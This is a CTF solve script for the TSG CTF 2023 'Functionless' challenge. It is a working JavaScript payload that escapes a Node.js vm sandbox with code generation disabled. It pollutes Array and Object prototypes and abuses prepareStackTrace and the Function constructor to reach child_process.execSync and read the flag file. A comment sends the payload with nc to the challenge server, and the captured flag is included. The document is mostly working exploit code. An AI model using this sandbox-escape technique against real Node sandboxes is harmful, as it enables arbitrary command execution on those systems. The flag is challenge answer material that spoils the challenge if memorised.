TSG CTF 2023 - Functionless (Misc)

solve.js

let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {
    const vm = require("node:vm");
    const context = vm.createContext(undefined, {
        codeGeneration: {
            strings: false,
        },
    });
    console.log(vm.runInContext(code, context));
}

// node solve.js | nc 34.84.217.62 30002
// TSGCTF{i_like_functional_programming_how_about_you}